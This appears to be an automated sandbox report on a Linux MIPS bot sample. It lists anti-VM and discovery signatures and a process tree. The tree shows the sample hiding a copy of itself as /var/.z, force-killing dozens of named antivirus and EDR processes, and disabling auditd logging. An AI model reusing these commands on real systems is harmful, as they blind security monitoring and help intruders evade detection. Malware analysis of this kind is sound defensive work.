Overview

overview

7

Static

static

1

bot.mpsl.elf

debian-12-mipsel

7

Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    debian-12_mipsel
  • resource
    debian12-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian12-mipsel-20260513-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
  • submitted
    27/09/2026, 06:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bot.mpsl.elf
  • Size 1.1MB
  • Sample260927-gybataae29
  • SHA256 0ee2ef2c6f3b634a40a4f98c5364f3e68dc3921a0e4f8149919622844f9d97c8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 64 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bot.mpsl.elf
    /tmp/bot.mpsl.elf
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads MAC address of network interface
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:799
    • /bin/sh
      sh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"
      2⤵
      • File and Directory Permissions Modification
      PID:856
      • /usr/bin/cp
        cp /proc/self/exe /var/.z
        3⤵
          PID:857
        • /usr/bin/chmod
          chmod +x /var/.z
          3⤵
          • File and Directory Permissions Modification
          PID:858
      • /bin/sh
        sh -c -- "pkill -9 -x kavsvc 2>/dev/null &"
        2⤵
          PID:860
        • /bin/sh
          sh -c -- "pkill -9 -x kavf4 2>/dev/null &"
          2⤵
            PID:862
          • /bin/sh
            sh -c -- "pkill -9 -x kavguard 2>/dev/null &"
            2⤵
              PID:864
            • /bin/sh
              sh -c -- "pkill -9 -x avp 2>/dev/null &"
              2⤵
                PID:866
              • /bin/sh
                sh -c -- "pkill -9 -x avp5 2>/dev/null &"
                2⤵
                  PID:868
                • /bin/sh
                  sh -c -- "pkill -9 -x avp6 2>/dev/null &"
                  2⤵
                    PID:870
                  • /bin/sh
                    sh -c -- "pkill -9 -x msvsc 2>/dev/null &"
                    2⤵
                      PID:872
                    • /bin/sh
                      sh -c -- "pkill -9 -x msasc 2>/dev/null &"
                      2⤵
                        PID:874
                      • /bin/sh
                        sh -c -- "pkill -9 -x msmpeng 2>/dev/null &"
                        2⤵
                          PID:876
                        • /bin/sh
                          sh -c -- "pkill -9 -x msseces 2>/dev/null &"
                          2⤵
                            PID:878
                          • /bin/sh
                            sh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"
                            2⤵
                              PID:880
                            • /bin/sh
                              sh -c -- "pkill -9 -x avast 2>/dev/null &"
                              2⤵
                                PID:882
                              • /bin/sh
                                sh -c -- "pkill -9 -x avast5 2>/dev/null &"
                                2⤵
                                  PID:884
                                • /bin/sh
                                  sh -c -- "pkill -9 -x avast6 2>/dev/null &"
                                  2⤵
                                    PID:886
                                  • /bin/sh
                                    sh -c -- "pkill -9 -x avastsvc 2>/dev/null &"
                                    2⤵
                                      PID:888
                                    • /bin/sh
                                      sh -c -- "pkill -9 -x ash 2>/dev/null &"
                                      2⤵
                                        PID:890
                                      • /bin/sh
                                        sh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"
                                        2⤵
                                          PID:892
                                        • /bin/sh
                                          sh -c -- "pkill -9 -x avgnt 2>/dev/null &"
                                          2⤵
                                            PID:894
                                          • /bin/sh
                                            sh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"
                                            2⤵
                                              PID:896
                                            • /bin/sh
                                              sh -c -- "pkill -9 -x avgnt2 2>/dev/null &"
                                              2⤵
                                                PID:898
                                              • /bin/sh
                                                sh -c -- "pkill -9 -x avgnt3 2>/dev/null &"
                                                2⤵
                                                  PID:900
                                                • /bin/sh
                                                  sh -c -- "pkill -9 -x clamd 2>/dev/null &"
                                                  2⤵
                                                    PID:902
                                                  • /bin/sh
                                                    sh -c -- "pkill -9 -x clamdscan 2>/dev/null &"
                                                    2⤵
                                                      PID:904
                                                    • /bin/sh
                                                      sh -c -- "pkill -9 -x clamonacc 2>/dev/null &"
                                                      2⤵
                                                        PID:906
                                                      • /bin/sh
                                                        sh -c -- "pkill -9 -x f-prot 2>/dev/null &"
                                                        2⤵
                                                          PID:908
                                                        • /bin/sh
                                                          sh -c -- "pkill -9 -x f-prot64 2>/dev/null &"
                                                          2⤵
                                                            PID:910
                                                          • /bin/sh
                                                            sh -c -- "pkill -9 -x f-sport 2>/dev/null &"
                                                            2⤵
                                                              PID:912
                                                            • /bin/sh
                                                              sh -c -- "pkill -9 -x f-sport64 2>/dev/null &"
                                                              2⤵
                                                                PID:914
                                                              • /bin/sh
                                                                sh -c -- "pkill -9 -x smon 2>/dev/null &"
                                                                2⤵
                                                                  PID:916
                                                                • /bin/sh
                                                                  sh -c -- "pkill -9 -x smon2 2>/dev/null &"
                                                                  2⤵
                                                                    PID:918
                                                                  • /bin/sh
                                                                    sh -c -- "pkill -9 -x smon3 2>/dev/null &"
                                                                    2⤵
                                                                      PID:920
                                                                    • /bin/sh
                                                                      sh -c -- "pkill -9 -x mcs 2>/dev/null &"
                                                                      2⤵
                                                                        PID:922
                                                                      • /bin/sh
                                                                        sh -c -- "pkill -9 -x mcs2 2>/dev/null &"
                                                                        2⤵
                                                                          PID:924
                                                                        • /bin/sh
                                                                          sh -c -- "pkill -9 -x mcs3 2>/dev/null &"
                                                                          2⤵
                                                                            PID:926
                                                                          • /bin/sh
                                                                            sh -c -- "pkill -9 -x navpsv32 2>/dev/null &"
                                                                            2⤵
                                                                              PID:928
                                                                            • /bin/sh
                                                                              sh -c -- "pkill -9 -x navpsv64 2>/dev/null &"
                                                                              2⤵
                                                                                PID:930
                                                                              • /bin/sh
                                                                                sh -c -- "pkill -9 -x navw32 2>/dev/null &"
                                                                                2⤵
                                                                                  PID:932
                                                                                • /bin/sh
                                                                                  sh -c -- "pkill -9 -x navw64 2>/dev/null &"
                                                                                  2⤵
                                                                                    PID:934
                                                                                  • /bin/sh
                                                                                    sh -c -- "pkill -9 -x avp.exe 2>/dev/null &"
                                                                                    2⤵
                                                                                      PID:936
                                                                                    • /bin/sh
                                                                                      sh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"
                                                                                      2⤵
                                                                                        PID:938
                                                                                      • /bin/sh
                                                                                        sh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"
                                                                                        2⤵
                                                                                          PID:940
                                                                                        • /bin/sh
                                                                                          sh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"
                                                                                          2⤵
                                                                                            PID:942
                                                                                          • /bin/sh
                                                                                            sh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"
                                                                                            2⤵
                                                                                              PID:944
                                                                                            • /bin/sh
                                                                                              sh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"
                                                                                              2⤵
                                                                                                PID:946
                                                                                              • /bin/sh
                                                                                                sh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"
                                                                                                2⤵
                                                                                                  PID:948
                                                                                                • /bin/sh
                                                                                                  sh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"
                                                                                                  2⤵
                                                                                                    PID:950
                                                                                                  • /bin/sh
                                                                                                    sh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"
                                                                                                    2⤵
                                                                                                      PID:952
                                                                                                    • /bin/sh
                                                                                                      sh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"
                                                                                                      2⤵
                                                                                                        PID:954
                                                                                                      • /bin/sh
                                                                                                        sh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"
                                                                                                        2⤵
                                                                                                          PID:956
                                                                                                        • /bin/sh
                                                                                                          sh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"
                                                                                                          2⤵
                                                                                                            PID:958
                                                                                                          • /bin/sh
                                                                                                            sh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"
                                                                                                            2⤵
                                                                                                              PID:960
                                                                                                            • /bin/sh
                                                                                                              sh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"
                                                                                                              2⤵
                                                                                                                PID:962
                                                                                                              • /bin/sh
                                                                                                                sh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"
                                                                                                                2⤵
                                                                                                                  PID:964
                                                                                                                • /bin/sh
                                                                                                                  sh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"
                                                                                                                  2⤵
                                                                                                                    PID:966
                                                                                                                  • /bin/sh
                                                                                                                    sh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"
                                                                                                                    2⤵
                                                                                                                      PID:968
                                                                                                                    • /bin/sh
                                                                                                                      sh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"
                                                                                                                      2⤵
                                                                                                                        PID:970
                                                                                                                      • /bin/sh
                                                                                                                        sh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"
                                                                                                                        2⤵
                                                                                                                          PID:972
                                                                                                                        • /bin/sh
                                                                                                                          sh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"
                                                                                                                          2⤵
                                                                                                                            PID:974
                                                                                                                          • /bin/sh
                                                                                                                            sh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"
                                                                                                                            2⤵
                                                                                                                              PID:976
                                                                                                                            • /bin/sh
                                                                                                                              sh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"
                                                                                                                              2⤵
                                                                                                                                PID:978
                                                                                                                              • /bin/sh
                                                                                                                                sh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"
                                                                                                                                2⤵
                                                                                                                                  PID:980
                                                                                                                                • /bin/sh
                                                                                                                                  sh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"
                                                                                                                                  2⤵
                                                                                                                                    PID:982
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"
                                                                                                                                    2⤵
                                                                                                                                      PID:984
                                                                                                                                    • /bin/sh
                                                                                                                                      sh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"
                                                                                                                                      2⤵
                                                                                                                                        PID:986
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"
                                                                                                                                        2⤵
                                                                                                                                          PID:988
                                                                                                                                        • /bin/sh
                                                                                                                                          sh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"
                                                                                                                                          2⤵
                                                                                                                                            PID:990
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"
                                                                                                                                            2⤵
                                                                                                                                              PID:992
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"
                                                                                                                                              2⤵
                                                                                                                                                PID:994
                                                                                                                                              • /bin/sh
                                                                                                                                                sh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"
                                                                                                                                                2⤵
                                                                                                                                                  PID:996
                                                                                                                                                • /bin/sh
                                                                                                                                                  sh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:998
                                                                                                                                                  • /bin/sh
                                                                                                                                                    sh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1000
                                                                                                                                                    • /bin/sh
                                                                                                                                                      sh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1002
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1004
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1006
                                                                                                                                                          • /bin/sh
                                                                                                                                                            sh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1008
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1010
                                                                                                                                                              • /bin/sh
                                                                                                                                                                sh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1012
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1014
                                                                                                                                                                  • /bin/sh
                                                                                                                                                                    sh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1016
                                                                                                                                                                    • /bin/sh
                                                                                                                                                                      sh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1018
                                                                                                                                                                      • /bin/sh
                                                                                                                                                                        sh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1020
                                                                                                                                                                        • /bin/sh
                                                                                                                                                                          sh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1022
                                                                                                                                                                          • /bin/sh
                                                                                                                                                                            sh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1024
                                                                                                                                                                            • /bin/sh
                                                                                                                                                                              sh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1026
                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                sh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1029
                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                  sh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1031
                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                    sh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1033
                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                      sh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1035
                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                        sh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1037
                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                          sh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1039
                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                            sh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1041
                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                              sh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1043
                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                sh -c -- "pkill -9 -f [x]agt 2>/dev/null &"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1045
                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                  sh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1047
                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                    sh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1049
                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                      sh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1051
                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                        sh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1053
                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                          sh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1055
                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                            sh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1057
                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                              sh -c -- "pkill -9 -f [m]datp 2>/dev/null &"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1059
                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                sh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • System Network Configuration Discovery
                                                                                                                                                                                                                PID:1061
                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                sh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1063
                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                  sh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1065
                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                    sh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1067
                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                      sh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1069
                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                        sh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1071
                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                          sh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1073
                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                            sh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1075
                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                              sh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1077
                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                sh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1079
                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                  sh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1081
                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                    sh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1083
                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                      sh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1085
                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                        sh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1087
                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                          sh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1090
                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                            sh -c -- "pkill -9 -f [e]krn 2>/dev/null &"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1092
                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                              sh -c -- "pkill -9 -f [e]sets 2>/dev/null &"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1094
                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                sh -c -- "pkill -9 -f [b]dagent 2>/dev/null &"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1096
                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                  sh -c -- "pkill -9 -f [w]rsa 2>/dev/null &"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1098
                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                    sh -c -- "pkill -9 -f [m]bam 2>/dev/null &"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1100
                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                      sh -c -- "pkill -9 -f [m]alwarebytes 2>/dev/null &"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1102
                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                        sh -c -- "pkill -9 -f [3]60tray 2>/dev/null &"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1104
                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                          sh -c -- "pkill -9 -f [3]60safe 2>/dev/null &"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1106
                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                            sh -c -- "pkill -9 -f [h]ipstray 2>/dev/null &"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • System Network Configuration Discovery
                                                                                                                                                                                                                                                            PID:1108
                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                            sh -c -- "pkill -9 -f [u]sysdiag 2>/dev/null &"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1110
                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                              sh -c -- "pkill -9 -f [q]axengine 2>/dev/null &"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1112
                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                sh -c -- "pkill -9 -f [p]andad 2>/dev/null &"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1114
                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                  sh -c -- "pkill -9 -f [p]sanhost 2>/dev/null &"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1116
                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                    sh -c -- "pkill -9 -f [f]savgui 2>/dev/null &"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1118
                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                      sh -c -- "pkill -9 -f [f]-secure 2>/dev/null &"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1120
                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                        sh -c -- "pkill -9 -f [k]avtray 2>/dev/null &"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1122
                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                          sh -c -- "pkill -9 -f [v]ipre 2>/dev/null &"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • System Network Configuration Discovery
                                                                                                                                                                                                                                                                          PID:1124
                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                          sh -c -- "pkill -9 -f [s]bamsvc 2>/dev/null &"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1126
                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                            sh -c -- "pkill -9 -f [g]data 2>/dev/null &"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                              sh -c -- "pkill -9 -f [i]karus 2>/dev/null &"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:1130
                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                sh -c -- "pkill -9 -f [d]rweb 2>/dev/null &"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1132
                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                  sh -c -- "pkill -9 -f [e]service 2>/dev/null &"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:1134
                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                    sh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1136
                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                    pkill -9 -x kavsvc
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                    PID:861
                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                    pkill -9 -x kavf4
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:863
                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                      pkill -9 -x kavguard
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                      PID:865
                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                      pkill -9 -x avp
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                      PID:867
                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                      pkill -9 -x avp5
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                      PID:869
                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                      pkill -9 -x avp6
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:871
                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                        pkill -9 -x msvsc
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                        PID:873
                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                        pkill -9 -x msasc
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:875
                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                          pkill -9 -x msmpeng
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:877
                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x msseces
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:879
                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x msseces.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:881
